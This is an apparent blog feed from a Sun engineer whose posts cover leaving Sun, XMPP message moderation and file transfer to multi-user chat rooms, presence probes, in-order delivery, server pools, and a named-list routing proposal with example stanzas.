Thanks... to be declared final
i want to be use this variable in another class,what i am do sir,plz tell me.if i am declare a variable is a final
Hi
Hi Hi
How to implement I18N concept in struts 1.3?
Please reply to me
struts
struts <p>hi here is my code can you please help me to solve...;
<h1></h1>
<p>struts-config.xml</p>
<p>...;<struts-config>
<form-beans>
<form-bean name
Hi... - Java Beginners
Hi... Hi,
I want make a date fields means
user click date... code;
if any one need just mail me: fightclub_ceo@sify.com
Hi friend,
As your requirement to solve the problem to visit...
http new to struts.Please send the sample code for login and registration sample code with backend as mysql database.Please send the code immediately.
Please its urgent.
Regards,
Valarmathi Hi Friend
Struts first example - Struts
Struts first example Hi!
I have field price.
I want to check... the version of struts is used struts1/struts 2.
Thanks
Hi!
I am using struts 2 for work.
Thanks. Hi friend,
Please - Jboss - I-Report - Struts
Struts - Jboss - I-Report Hi i am a beginner in Java programming and in my application i wanted to generate a report (based on database) using Struts, Jboss , I Report
Hi, - Java Beginners
Hi, Hi Friends,
I want to write code in java for change password please provide the code
change password have three field old_pwd,new_pwd,con_pwd
Thanks Hi Friend,
Create a database table login[id
exception in thread main while running servlet
exception in thread main while running servlet I got exception in thread main no such method error while running servlet. I have added... lib also. Restart your server then run your code
HI.
HI. hi,plz send me the code for me using search button bind the data from data base in dropdownlist
hi....
hi.... plzz sent me d code for counting vowels in a string... gui programme
Running Batch files in java - Java Beginners
Running Batch files in java Hi,
I am writing a program which... aware of the same.
Thanks,
Akhilesh. Hi Friend,
Here we are sending you some sample program code for running batch (.bat) file in Java. We have
hi
hi 'print("code sample");`class example(){
public.static.void.main();
system.out.println("this is first pro");}
class example{
public static void main(String[]args){
System.out.println("this is first
Hi..
Hi.. what are the steps mandatory to develop a simple java program?
To develop a Java program following steps must be followed by a Java...
in your system and its path must be
located in the Environment variable.
For detail
running the job scheduling using quartz - IDE Questions
running the job scheduling using quartz I am using netbeans IDE... and I have write the code to run a separate thread continuously along with the main thread. How can I write the appropriate code...
Thanks,
mln15584 Hello
I have 2 java pages and 2 jsp pages in struts... with source code to solve the problem.
For read more information on Struts visit... for getting registration successfully
Now I want that Success.jsp should display add any two numbers using bitwise operatorsprint("code sample i get answer of my question which is asked by me for few minutes ago.....rply
hi!
hi! public NewJFrame() {
initComponents();
try
{
Class.forName("java.sql.Driver");
con=DriverManager.getConnection("jdbc...();
}
catch(Exception e)
{
e.printStackTrace();
}
guysss ds s d code
Advertisements
If you enjoyed this post then why not add us on Google+? Add us to your Circles | http://roseindia.net/tutorialhelp/comment/12247 | CC-MAIN-2016-07 | refinedweb | 2,133 | 75.5 |
#include <MQTTClient.h>
A structure representing the payload and attributes of an MQTT message. The message topic is not part of this structure (see MQTTClient_publishMessage(), MQTTClient_publish(), MQTTClient_receive(), MQTTClient_freeMessage() and MQTTClient_messageArrived()).
The eyecatcher for this structure. must be MQTM.
The version number of this structure. Must be 0 or 1 0 indicates no message properties
The length of the MQTT message payload in bytes.
A pointer to the payload of the MQTT message.
The quality of service (QoS) assigned to the message. There are three levels of QoS:
The retained flag serves two purposes depending on whether the message it is associated with is being published or received.
retained = true
For messages being published, a true setting indicates that the MQTT server should retain a copy of the message. The message will then be transmitted to new subscribers to a topic that matches the message topic. For subscribers registering a new subscription, the flag being true indicates that the received message is not a new one, but one that has been retained by the MQTT server.
retained = false
For publishers, this indicates that this message should not be retained by the MQTT server. For subscribers, a false setting indicates this is a normal message, received as a result of it being published to the server.
The dup flag indicates whether or not this message is a duplicate. It is only meaningful when receiving QoS1 messages. When true, the client application should take appropriate action to deal with the duplicate message.
The message identifier is normally reserved for internal use by the MQTT client and server.
The MQTT V5 properties associated with the message. | https://www.eclipse.org/paho/files/mqttdoc/MQTTClient/html/struct_m_q_t_t_client__message.html | CC-MAIN-2022-05 | refinedweb | 272 | 65.42 |
Using the Faust language we can create plugins that will need to embed audio files. What is the recommended way to do this in a generic manner, that is not depending of the final plugin format ? How can then the pathname of the file be finally computed ?
Until std::embed becomes a reality, the best approach is probably to encode the bytes in the file as a big C array and to build it into the final plugin. There’s a tool called BinaryBuilder in the JUCE repo, and also a similar tool in the Projucer. If you’re a CMake user, there’s at least one plain CMake alternative too.
Is there any easy way to add binary files to a juce module? It would be nice if there was a binaries folder that the projucer would automatically all the files within to .cpp resources. Or does something like that already exist?
I don’t think anything like that exists currently. You could always just run BinaryBuilder and add the resulting files to the module though.
I was so convinced that I wrote a FR for that, but seems I didn’t… Spoke to Ed about it back then, but it didn’t make it into the backlog…
i must not quite understand the question, but why not add it to the resources of the Producer? that way it can be read as an audio file from memory.
I’m afraid we deviated a bit from the original topic.
Yes adding to Projucer is the obvious choice.
@reuk was heading for a more generic solution, and @Roland1 wants (like myself) a way to have assets in a module self-contained, so that it stays separate from the users binary resources, maybe even with a separate namespace. That is possible, just not implemented. It would require an extra run of the BinaryBuilder for a module containing a keyword, that it has such an asset folder. | https://forum.juce.com/t/embedding-audio-files-in-a-plugin/37550 | CC-MAIN-2022-33 | refinedweb | 325 | 70.53 |
Online presence of Mridul Blog for mridul 2011-10-22T01:08:00+00:00 Apache Roller Last day at sun mridul 2007-10-25T17:58:37+00:00 2007-10-26T00:58:37+00:00 <br> At the last day of my first innings at Sun - 6 years and 3 months after I joined right out of college.<br> From the word go, I got the opportunity to work with some really brilliant engineers on really cool ideas, technologies & products - and that was one thing which continued to be so throughout my career here.<br> <br> I am joining Yahoo! research engineering in Bangalore on monday ...<br> I can be reached at<br> mail : mridulm80 <at> yahoo.com<br> xmpp: mridul <at> gmail.com<br> ymsgr: mridulm80<br> aim: mridulm80<br> <br> ... thats all folks and thanks to all !<br> <br> File transfer to an MUC mridul 2007-08-08T04:39:02+00:00 2007-08-08T11:39:02+00:00 We recently submitted a <a href="">proposal</a> to <a href="">XSF</a> to standardize what was a proprietary implementation for message moderation ... which we have had for a couple of years now. The other effort which we should probably kick off soon is file transfer to <a href="">multi-user chat room</a> - this is another custom implementation which we have been carrying on for a few releases now ... <br/> ! <br/> To give a basic idea of what we do:<br/> Currently, our client supports <a href="">IBB</a> -. <br /> As all the participants who can understand this are Sun IM clients - we just use IBB for now. <br /> The caveats are obvious - potentially very heavy server traffic due to the IBB. But the main advantages are: <ol> <li> The sender transmits only a single copy of the file - in comparison to a p2p model (imagine streaming a 512 KB file to a muc with 100 participants from a moderately low b/w connection).</li> <li> It will always work for all cases - irrespective of firewall, nat, etc. IBB is the lowest common denominator.</li> <li> Ability to analyze the content before sending it on to the recipients - including the possibility of archiving it (for participants who might join the room 'later'). </li> </ol> There are ofcourse other means of achieving the same while satisfying the requirements above - including other means of file transfer which are yet to be standardized (custom, future additions).<br/>. XKCD on lisp mridul 2007-07-31T22:50:07+00:00 2007-08-01T05:50:07+00:00 This, is absolutely inspired <img src="" class="smiley" alt=":-)" title=":-)" /><br /> <br /> <a href=""><img src="" /></a><br /> <br /> <a href="">xkcd</a> is as brilliant as ever ! Message moderation specs mridul 2007-07-28T11:22:25+00:00 2007-07-29T04:44:53+00:00 We recently submitted two proposals for message moderation - <a href="">Message Moderated Conferences</a> and <a href="">Managing message moderators in MUC rooms</a> - both of which are extensions to <a href="">Multi-User Chat</a> (muc) spec.<br> Taken together, they allow a message moderation system to be put in place. It has been a conscious decision not to introduce another set of acl's for this, but to reuse the affiliations and roles specified in muc. I will try to go through the basic intent and design decisions behind the specs. <h4>Message Moderated Conferences</h4> This proposal specifies how a conference which has message moderation enabled would interact with participants - particularly, participants who dont have 'voice' or the ability to post message to the room.<br> If message moderation is enabled, these occupants would be able to request the room for approving the messages they want to post - and on approval, room would publish them to all occupants of the room. Simple scenarios would be a celebrity chat, moderated webcast/presentation, etc.<br> The spec does not deal with how the message moderation happens - just the interaction between a occupant and the room - how they interact, state changes, notifications, etc. So in effect, you could have any number of backend moderation implementations - but the interface between the occupant and the room will remain the same.<br> The basic flow is as follows : <ol start="1"> <li>Occupant sends message to room for approval.</li> <li>Room assigns a message id to the submitted message (which is then used to identify the submitted message for all further interaction, in this and other moderation related specs) and returns that to the user with message in pending state.</li> <li>After the backend moderation system decides on the message, room will inform the submitted about the 'decision' - approved, rejected (or error).</li> <li>If approved, room will then multicast it to all the occupants.</li> </ol> That is it !<br> The actual moderation might be quite involved, with multiple moderators/moderation modules chained, clustered/distributed rooms, etc in complex deployments - but the occupant will have a simple and clean interface to communicate with the room (room's bare jid actually).<br><br> The way we designed it, hopefully this will someday get rolled into XEP 45 itself <img src="" class="smiley" alt=":-)" title=":-)" /> <h4>Managing message moderators in MUC rooms</h4> This spec defines one possible way in which message moderation can actually be implemented - where the moderation is done by participants who have sufficient rights (owner's and moderators of the room).<br> It defines how a room moderator/owner can become a message moderator (and other state changes), how they notify room of the moderation decision, and how the room is expected to manage these moderators and submitted messages for moderation.<br> <br><br> Both of these specs are based on our implementation - though what we support currently is quite different from what we have submitted.<br><br> <i>As a sidenote : It should be noted that, in both the specs we have tried to make sure that the interface between the various entities in question remains as simple as possible - while not precluding more complicated scenarios .. like usecases which are not specifically related to users chatting over a moderated conference (for example an approval workflow) - there could be custom configurations with extensions to room configurations which allow for more complicated scenarios while keeping the actual client interfaces (at both submitter and moderator side) constant.<br> </i> S2S connection availability & state recovery mridul 2007-03-26T15:50:00+00:00 2007-03-27T00:28:49+00:00 some thoughts on xmpp s2s availability and failover : and lack of protocol support for it. Server to server connections in xmpp is peculiar when compared to client to server connections.<br> In the latter case, it is clearly understood that on termination of the connection, the user is considered as logged out - but there is no such behaviour specified for s2s connections.<br> Actually, the xmpp spec is silent about these connections entirely (other than how to establish a new one and constraints on the stream).<br> <br> Let us consider a simple example to illustrate what I am trying to get to :<br> <br> 1) ServerA hosting domainA has userA@domainA.<br> 2) ServerB hosting domainB has userB@domainB.<br> 3) Assume they have 'both' subscriptions to each other - so userA & userB can see each others presence.<br> 4) Further, assume that both are online as userA@domainA/resA and userB@domainB/resB.<br> <br> So after step 4 we have -<br> a) ServerA has a outbound s2s to ServerB over which it pushed userA's presence (and probed for userB).<br> b) ServerB has a outbound s2s to ServerA over which it pushed userB's presence (and probed for userA).<br> It should be noted that for s2s, all outbound stanza's go in its own socket connection - so (a) and (b) are two different socket connection with xml streams in opposite directions.<br> <br> Now comes the interesting part - what happens when the connections break ? (one or both).<br> The spec is,silent about this and leaves that as an implementation detail.<br> What makes it interesting is a follow up of scenario above like this :<br> <br> 5.ServerA & ServerB break connection (assume both for simplicity).<br> After some time -<br> 6.a) userA logs out.<br> 6.b) ServerA crashes.<br> 6.c) ServerA is temporarily unavailable (network issues, etc).<br> <br> 6.a will result in ServerA reopening connection to ServerB and sending the user status update - the happy path.<br> <br> The other two - 6.b & 6.c have no easy solution - and actually each server implementation handles it in its own way (and usually not very appropriately if I am not wrong).<br> So, it brings up to the weird situation where a remote user is shown as online while he might not be ... or is not reachable.<br> This question is particularly relevant since most xmpp server's have the 'feature' to terminate outbound/inbound connections after some 'time' (usually if connection is idle for a period of time).<br> Which mean, step (5) is going to happen sooner or later.<br> <br> Hence the simplistic logic which is used for client sessions - if broken, consider unavailable - can definitetly not be used.<br> Simplistic workarounds like - when outbound is reestablished : send probe is also extremely expensive. (if 6.b/6.c did not happen - then 6.a will take care of keeping server's in sync !)<br> Presence is usually the bulk of xmpp traffic - and this problem directly pertains to that.<br> <br> Hence - when does a server refresh the status of a remote user ? (sending a presence probe)<br> How often does it send it ?<br> Is there any better 'solution' to this problem ?<br> <br> Interesting thoughts with implementation specific logic in place currently - which can potentially be a strain on open federation for admins worried about s2s traffic, load and the like.<br> In order delivery in xmpp servers mridul 2006-12-16T11:59:58+00:00 2006-12-18T06:31:59+00:00 Discusses some rationale behind thoughts on why strict in order delivery maynot be a 'good thing'. Looks like I opened a can of worms by asking about <a href="">ibb</a> (inband data transfer) in the standards list <img src="" class="smiley" alt=":-)" title=":-)" /><br> We always interpreted the <a href="">xmpp specs</a> to mean that the processing between any two entities at the server MUST be in order, but the spec does not mandate about actual delivery. It is indeed quite simple for client (not just a chat client) implementors if this assumption is mandated: the default binding to tcp encourages the assumption that this is the intention.<br><br> <b>Why is it that I believe this so tough to enforce for a server ? or is it really that tough ? And why do I mention ibb in this context ?</b><br> I cannot answer the second question for sure, but few of my previous attempts to enforce this when subjected to very high loads have lead to inferior performance. But yes, it is indeed possible that we might be able to get it working at marginally lower throughput at a later point in time.<br><br> <b>To the first, is it really that tough ?</b><br> Let us consider the case of a simple server which uses one thread per client. A request comes in, server processes it, writes/queues response (if any) and goes back to picking up another request from client.<br> Things cant get simpler than this (I hope) and for such a server, in order delivery is built into the design.<br> Would it scale ? Dont immediately write this approach off : you could have a tree of multiplexors which progressively combine input into fatter and fatter pipes, and assuming no latency for reads/writes to multiplexors from server, it could be made to scale for quite a bit.<br> <i>(Note: I am not intending to make the above look simple: just from the basic server design point of view - rest of the xmpp requirements : the spec requirements, xml parser, xmpp extensions, server management, etc would soon make any competent server product non trivially tough.)</i><br> But you will hit the limits to this approach soon enough.<br><br> Towards the other end there are various approaches using asynchronous IO, multiple stages and pipelines, thread pools, queues, buffering IO as much as possible (usually necessiated by async io anyway), etc : all carefully tuned considering the load characterstics and deployment considerations along with the behaviour of xmpp : large number clients persistently connected for a long time, but (typically) small xml stanza's and not sustained load of high IO traffic per client. (ofcourse like us, most implementations can and do handle sustained high load too, but that is more uncommon user scenario).<br> In spite of these, there are limits to how much you can vertically scale a single node: you are bound to hit the limits - be it cpu, memory, IO, etc. Hence, like our product, other xmpp server also support the concept of a pool of servers which collectively behave as a single server.<br> Horizontal scalability allows you to just add more nodes to the pool as the usage of the server increases (Ofcourse, this is not the only reason for a server pool: fault tolerance, lower latency to client, etc are other reasons but we will focus on this for now).<br><br> Now why mention all this ? As the number of pipelines increase as a server implementation/deployment scales: potentially spanning multiple nodes for the purpose of delivery, it becomes progressively tougher to enforce in order delivery. In order processing is much more simpler, the recepient of the stanza processes the input, generates the output to be delivered and it is done with it. The actual delivery could span multiple nodes within a logical server, and potentially get pushed out to a different server altogether.<br><br> Does that mean that there will be absolutely no inorder delivery possible at all ? Ofcourse not, atleast in our server, the server always makes a best case effort to deliver in order: but there are a lot of corner cases where a few stanza's could get delivered out of order.<br> Is this always a bad thing ? Not really - like if two unrelated xml stanza's get 'mixed up', big deal: neither will it be noticable, nor will it have any impact. But there are usecases where this will have impact.<br> A common enough usecase where it will make it more harder for clients (chat and others) is out of order delivery of messages: like if the recepient client gets "How are you ?" before "Hi", typically it means something is amiss. (There are means to handle corner cases this too btw, but would make clients slightly more complex).<br> Will this happen very commonly ? Atleast in our server, this can happen when a restricted set of conditions are satisfied: one of which is when a very high number and size of stanzas are transferred between two entities usually hosted on different nodes.<br><br> <b>IBB to the problem</b><br> And yes, you guessed it, file transfer using ibb for a large enough file which results in transfer of large number of 'big' stanzas : sizes which are an order of magnitude higher than typical xmpp stanzas, could hit this problem when clients push it fast enough.<br> Does it mean we do not support ibb ? Ofcourse not !<br> Even with the way the spec stands today (strict enforcement of inorder delivery), there are a bunch of things which are done to handle the higher sustained load of ibb file transfers and to ensure that all ibb stanza's within a transfer are always delivered in order.<br> Is this a good solution ? Definitely not. Other than the fact that this approach leads to all sorts of special casing and small overhead within some of the critical server codepaths, it is also an approach which does not scale at all. A high enough number of fast clients can make the expierence for all users in a server node a bit sluggish: not to mention additional resource overhead if remote servers cannot drain the stanza's fast enough.<br> It was this which lead me to query the list: each stanza is marked with a sequence id, use that to 'fill in the gaps' if stanza's are delivered out of order for a small enough window - but the very idea of out of order delivery was percieved as a bit too radical I guess <img src="" class="smiley" alt=":-)" title=":-)" /><br><br> A best case effort at inorder delivery is different from gaurentee'ed inorder delivery - the latter is much more stringent and has some very severe repurcussions on server scaling. When you position xmpp not just as a means to chat, but as a presence enabled, authenticated, realtime messaging middleware it becomes extremely useful as a messaging infrastructure for applications. As an example try doing async (gamma) notifications using webservices and through xmpp : the former will have all sorts of webservice callbacks, saml assertions, etc and the latter will be a simple message to the reciepent JID. Applications typically 'ramp up' the throughput per session remarkedly (it is not a user typing at 60 words per min anymore) and if current expierences with ibb is anything to go by, it is going to be a very interesting challenge ahead for xmpp server implementations if strict inorder delivery semantics is to be mandated <img src="" class="smiley" alt=":-)" title=":-)" /> server pool and expirimental stuff mridul 2006-11-28T09:03:18+00:00 2006-11-28T19:02:14+00:00 One of the things which we introduced with the previous interim release was the concept of server pool.The admin can have a combination of disparate set of boxes - solaris sparc/x86, linux and logically combine them to create a single XMPP deployment.Ofcourse, one deployment could support multiple hosted domains - so typically it is a single deployment : not really a single domain which is hosted on a pool.<br> <br> For the purpose of minimising internode communication, we have also introduced to concept of an xmpp aware load balancer called redirect server.The actual redirection mechanism is an spi and can be customized, but there are a bunch of out of the box methods - including ones which allow for roster based logical grouping of contacts to nodes.The server pool will redistribute any new load across itself in the face of failures ... So, introducing redundency into the pool not only helps in performance of a single node under normal operation, but allows the pool to operate smoothly when you are faced with network, power, etc outages.<br> <br> Taken together this results in some interesting usecases.<br> There is minimal network overhead and yet high degree of failover and scalability can be achieved - we have not really tested to reach the limits of how 'large' a server pool can be .... This essentially means that a service provider can not only support a large number of hosted domains, but also provide high availability for all of them with a single deployment.<br> As far as the end user is concerned, there is no difference whether he is talking to a server pool or to a single server: the behaviour is uniform and spec compliant.<br> If you consider the distributed nature of features like pubsub, muc, etc in the server pool - it essentially means that you do not have the concept of failure: unless every node in the pool goes down that is <img src="" class="smiley" alt=":-)" title=":-)" /><br> So essentially, you can use the server as a near-realtime messaging middleware with very high availability and scalability.<br> <br> And yes, the next release we have does include expirimental support for <a href="">caps</a> and <a href="">pep</a> at the server and in client api ... might not be the latest version of the spec though. But developers wishing to hack at it are welcome : this impl is not very rigourously tested - so I am not going to popularise it <img src="" class="smiley" alt=":-)" title=":-)" />, but we have used it for avataar and seen it working beautifully !<br> The <a href="">api which is hosted</a> at <a href="">collab project</a> of netbeans has the client side support for this (:pserver:anoncvs-AT-cvs.netbeans-DOT-org:/cvs , collab/service/src/org/netbeans)<br> Btw, did I mention that we have always supported <a href="">privacy lists</a> ? File transfer to a multi user chat mridul 2006-11-17T17:17:21+00:00 2006-11-18T02:01:31+00:00 File transfer to a Multi user chat is not defined in the current set of xmpp extensions. Though this does not really describe what our server/client does today, this post discusses a simple means to achieve this required functionality. <br> <h5>Background.</h5> When a user wants to chat with his contact, typically he does so with one to one messages - that is, he sends a <message /> with the to set explictly to the reciepent. Now, suppose he invites another contact into this chat : it ceases to be a one to one chat - there is an <a href="">xmpp</a> protocol extension for <a href="">multi user chat</a> (muc) defined for this.<br> In most clients, like ours, there is no visible difference in both usecases : the client upgrades the one to one chat to a private conference behind the scenes and things continue from there.<br> Actually in our client, there is no visible difference between a private one to one chat, a private conference or a public conference - the UI is consistent across all these usecases.<br> <br> <h5>The problem</h5> Unfortunately, functionality is not strictly the same ... and one of the key areas where this affects is in file transfer : something which users are used to. Currently, there are a <a href="">number of ways</a> defined on how to negotiate file transfer between two entities - how to negotiate the parameters, how to do the actual transfer - peer to peer/inband, etc.<br> But when it comes to file transfer in a muc, there is no standard extension or proposal.<br> This does not mean that file transfer is not supported at all - it just means that there is no standard way to support this.<br> For more than a year now, our client and server has been supporting filetransfer even in the case of conferences.<br> The problem is that, this works only with our client and server - as there is no standard in this space, none of the other clients can interoperate with our clients when it comes to this feature.<br> <br> <h5>Requirements</h5> Let us look at a minimal set of requirements :<br> <ol> <li>Different clients used by the participants in a conference might support different set of file transfer profiles. Hence, there need not be a intersection of transfer profile supported by all.</li> <li>If a single client is to multicast the file to all the participants, the bandwidth requirements could choke it.</li> <li>The server might want to decide who gets the files in a conference, and might want means to enforce this. Ditto for who can send a file, file properties, etc.</li> </ol> <h5>Potential solution ?</h5> I am not discribing what we support, but thinking of a really simple solution.<br> What could be done is :<br> <ol> <li>XMPP Server has an affiliated 'hosting service' - say a http, ftp, etc server : on which it has reasonably high control. Let us assume HTTP service in this discussion.<br> </li> <li>This service is not browsable, so you cannot get listing of files - similarly, it must not be possible to easily guess/find arbitrary files from this store - unless the server has divulged the URI to you. Hence URI's generated should also be opqaue and <i>non-guessable</i> to a reasonable degree.<br> </li> <li>When client wants to send a file to a conference, it will negotiate with the room - not with the participants.</li> <li>If transfer is to be allowed, the room will assign the client a URI to <a href="">PUT</a> the file to. Also, it might give it some sort of <a href="">authorization credentials</a> to be used at the HTTP service.<br> </li> <li>Once the client has transferred the file to the URI, it will notify the room - which in turn will multicast the location of the file at this URI to required participants (along with creds to fetch it, if any) : the sender would be specified as the initial user.<br> </li> <li>The participant clients will use GET to pick up the file from this service - while using the passed on creds.This way, even if you guess the URI, you will need to also guess the creds to retrieve it.</li> <li>After successful transfer, participant clients would notify the room of completion. A file could get purged when all participants have downloaded it, or if some room configured timeout expires - need not be a pro-active cleanup, but possibility of cleanup after both could be high (impl detail actually).</li> </ol> <br> The caveats are obvious :<br> <ol> <li>We are introducing a new form of file transfer profile - though we are using HTTP above, it is still a new mechanism !</li> <li>You are going to have N participants per conference hitting this service for the file - so the service should be able to scale well, in terms of client connections and bandwidth. Might not really be a concern for modern webservers though.</li> <li>Associating URI based credentials might not be that simple : especially if you consider the tie-in required with the XMPP server for achieving this at runtime (PUT, GET creds) : can it be done ? Ofcourse it can be - out of the box support exists ? I am not very sure if it does.</li> <li>You might need some mechanism to clean/purge stale files from the hosting service.<br> </li> </ol> <br> Comments, suggestions ?<br> Corner cases of presence probes in xmpp mridul 2006-11-14T20:23:54+00:00 2006-11-15T04:25:32+00:00 Some random thoughts on presence probes in rfc 3921 and the xmpp bis specs ... just random rambling, I could be grossly wrong ! Presence probes is an interesting idea in XMPP - you probe the presence of a contact.<br> Ofcourse, the presence is divulged only if the policies of the contact's server (handled by the hosting server : not client) allow user to query for the presence : but the basic idea is, you can do a pull of the presence - not just the customery push from the server.<br> The caveat is that, this is <a href="">expected to be used</a> by the user's server - not directly by the user. <br>There are two interesting things w.r.t presence probes which I am not very comfortable with.<br><br> The <a href="">initial presence section</a> in rfc 3921 has a slightly interesting snippet.<br> It says <i>):"</i><br> Now, what is interesting here is that, you cannot really say if a directed presence over S2S is a response to a presence probes, or a directed presence from a remote entity.<br> Which essentially means that, there can be no reliable caching of presence info on the local server for a remote user even if there are other resources of the same user are online on the server ... <br> That is, when a specific resource user comes online - it becomes mandatory for correct implementations to send presence probes to all remote contacts in roster with a both/to subscription : irrespective of whether there are other resources of the user online.<br> <br> Now let us come to the bis verions of the XMPP spec <a href="">here</a>. If you look at the definition of <a href="">presence probe</a>, you see see that it is expected to be used by the server on behalf of the user - same as is in <a href="">rfc 3921</a>.<br> Now, let us take a look at <a href="">directed presence</a>.<br> It talks about using probes <i>"A server SHOULD respond to presence probes from entities to which a user has sent directed presence" ...</i> as a means to find out the current availability of a contact.<br> The examples below do not really use <i>previous post</a> along with some clarifications and corrections. My <a href=''>previous post</a> outlined a brief idea, I will try to flesh it out a bit more in this post.<br> The main areas of focus would be :<br> <ol> <li>What are these 'named list' ? How do you use them ? What are its required properties ?</li> <li>When would it be a good idea to use this proposal ? When not ?</li> <li>What all can be optimised this way ?</li> <li>Some examples on how to implement it goddamnit !</li> </ol> <br> Hopefully this post will address my thoughts in the same order in which I list them above.<br> <h4>Named lists</h4> Named lists are a construct loosely based on <a href="">XEP 33</a>.<br> That is, their idea came to me through that spec - but they dont really share much with it except that I believe that XEP 33 could logically include this as an extension.<br> In this proposal, the main properties of named lists (in this context) are :<br> <ol> <li>Each named list has a 'sender jid' and a list of 'n' reciepent jids.</li> <li>Named lists can be removed at any point of time by the hosting server - so, remote servers cannot make assumptions about a lists existance.</li> <li>For an xml stanza recieved for a named list, the hosting server generates 'n' packets with 'from' replaced by the 'sender jid' and 'to' being the i<small>th</small> reciepent in the list : and then processes each of these stanza's as though they were recieved individually from remote server.</li> </ol> Now, given these we have the following cases :<br> <ul> <li>serverA sends stanza to named list 'routing_list' in serverB, list exists : so stanza's delivered -- Ideal case, maximum savings !<br> </li> <li>serverA sends stanza to named list 'routing_list' in serverB, list does not exist : error returned -- either serverA recreates a new list, or fallsback on more traditional approach of stanza delivery (suppose it finds that serverB is a bit too aggressive in list cleanup and decides against using lists, etc).</li> </ul> In both of these cases, serverA should recieve some sort of acknowledgement that the stanza was either recieved or error was encountered.<br> In XMPP, request-response pattern is modelled using 'iq' stanza's, so my current thoughts are to use that for this purpose.<br> The general structure will be :<br> <br> <ul> <li>serverA sending stanza to serverB.<br> </li> </ul> <iq from='domainA' to='named_list@domainB' type='set' id='someId'><br> <A single xml stanza to be delivered to the list without from and to attributes. /><br> </iq><br> <br> <ul> <li>Failure at serverB to deliver this stanza.</li> </ul> If this fails for whatever reason, we will have :<br> <br> <iq from='named_list@domainB' to='domainA' type='error' id='someId' /><br> <br> The reason is not important, what matters is that it failed and that the sending server should retry.<br> It could be 'cos the list was removed, or there was some other error - bottomline, cant deliver - so retry.<br> Typically, this will trigger serverA to either create a new list and try against that list name or stop using lists itself and fallback on 'traditional' methods (impl detail).<br> <br> Note: Here, I have removed the constrain for error responses that I placed yesterday : namely that the response MUST contain the actual stanza to be delivered within it.<br> This means that, until the iq response comes back from serverB, serverA will need to hold on to that stanza for retransmission purposes.<br> The reason why I removed this MUST requirement was 'cos we cant enforce constraints on the contained xml stanza returned in the error response : neither will we be able to validate or enforce it in case remote server is misbehaving for whatever reason.<br> This will also reduce the S2S traffic payload.<br> <ul> <li>Successful delivery </li> </ul> <iq from='named_list@domainB' to='domainA' type='result' id='someId' /><br> <br> This indicates that the delivery was successful.<br> Note that, this is delivery to the list that was successful - that is, names list existed when stanza was recieved and serverB could process the stanza for that list.<br> There might be errors while processing the actual generated stanza's later on - we are not concerned about that now.<br> <br> <br> <ul> <li>Creating a named list.<br> </li> </ul> Now that we have established 'how' serverA uses a named list on serverB - let us look into how it can create it.<br> As stated initially, the list creation is a simple enough stanza.<br> <br> <iq from='domainA' to='domainB' type='set' id='someId'><br> <create_list xmlns='sun:im:namedlist' sender='userA00@domainA'>> That is, we specify the sender JID and the list of jid's who form the list.<br> The response will either be a success (<iq from='domainB' to=domainA' type='result' id='someId' name='named_list@domainB'/> ) or error (<iq from='domainB' to=domainA' type='error' id='someId' /> ) - if error, dont retry but fallback on 'traditional methods' for delivery : like current XEP 33 defined methods or directed delivery.<br> Note: <br> <ol> <li>The name of the list is assigned by serverB - not serverA and no meaning MUST be associated with this at serverA other than as a jid (that is, no attempts to encode/decode info from node/resource, etc : both are opaque to serverA)..</li> <li>serverB CANNOT control the participants of a list - it MUST either create a list with all jids specified by serverA or return error (like invalid jid, access denied to a jid, other policy constraints, etc).<br> </li> </ol> <br> <ul> <li>Removing a named list.</li> </ul> In case the endpoint for whom serverA was maintaining this routing info on serverB does not need it anymore, then serverA could request serverB to remove this list.<br> <br> <iq from='domainA' to='domainB' type='set' id='someId'><br> <remove_list xmlns='sun:im:namedlist' sender='userA00@domainA' /><br> </iq><br> <br> The response to this stanza is not really relevent to serverA : it will be an error if list was already removed or result in case removal succeeds - in either case, there is nothing serverA can do or must attempt to do - both responses essentially mean that the named list is no longer present on serverB.<br> It is a MUST requirement that serverB periodically remove 'old' lists after some internal timeout - so even if serverA 'forgets' to remove a list, serverB MUST do its cleanup.<br> <br> Note that, even if serverA does not request a explict list removal - serverB is free to kick a named list out at any point of time without notifying serverA (as part of its cleanup).<br> It is expected that the lists are removed only after a reasonable timeout - but it is still purely the discreation of the list hosting server.<br> Similarly, serverB could refuse creation of a list without any reason - serverA MUST have alternate mechanism to deliver stanza's (the current - traditional approach).<br> <br> <ul> <li>How do you advertise this ?</li> </ul> <br> As of now, my thoughts are to advertise this as a stream feature.<br> The way I look at it, this is a basic enhancement to stream routing - so servers will exhibit this as a stream feature and named list MUST be enabled only if this stream feature is sucessfully enabled.<br> Ofcourse, it need not be enabled in both directions - so serverB might expose and allow it (so serverA can use it) - but not vice versa.<br> <br> <h4>When to use ? </h4> A few things are obvious :<br> <ul> <li>Use this approach when number of reciepents on serverB is above some minimum (Implementation detail of serverA - but obviously more than 1 <img src="" class="smiley" alt=":-)" title=":-)" /> ).</li> <li>When you are expecting to use the list frequently enough - or atleast enough number of times to justify the cost of list creation .<br> </li> <li>Presence broadcasts at start of a session would be a good usecase : you have atleast two stanza's to be sent - one directed presence, and a probe : so the cost is 'recovered'.</li> <li>Lists can, and MUST go out of scope - list hosting implementations MUST NOT depend on list creators to remove a list explictly : and removals MUST NOT be notified to the list creator.<br> </li> </ul> <h4>What all can be optimised ?</h4> A rough list would be :<br> <ol> <li>Presence information - both broadcasts and probes.</li> <li>Multicasting messages : in xmpp, this would typically mean <a href="">MUC</a>.<br> </li> <li>All other usecases mentioned in XEP 33 which can recur.</li> </ol> The MUC usecase can become tricky and is implementation dependent - but the basic idea would be that number of messages sent should be higher than list (re)creation (when users in a remote server join or leave). It also requires a higher amount of coupling between the server and the MUC component. <h4>An example.</h4> Let us consider the same example as yesterday - but this time, we look at the packets too !<br> <br> When userA00 comes online, serverA does not have a named list associated with userA00's contacts on serverB who should recieve his presence updates.<br> Hence, server creates that first.<br> <br> serverA:><br> <br> <iq from='domainA' to='domainB' type='set' id='someId1'><br> <create_list xmlns='sun:im:namedlist' sender='userA00@domainA/resource'>> serverB:><br> <iq from='domainB' to='domainA' type='result' id='someId1' name='named_list@domainB' /><br> <br> Now serverA will send the directed presence and probe to serverB.<br> <br> serverA:><br> <iq from='domainA' to='named_list@domainB' type='set' id='someId2'><br> <presence /><br> </iq><br> <br> <iq from='domainA' to='named_list@domainB' type='set' id='someId3'><br> <presence type='probe'/><br> </iq><br> <br> <br> serverB:><br> <iq from='named_list@domainB' to='domainA' type='result' id='someId2' /><br> <iq from='named_list@domainB' to='domainA' type='result' id='someId3' /><br> <br> Here I am assuming that the list of users who are subscribed to userA00's presence and to whom userA00 has subscribed to are the same 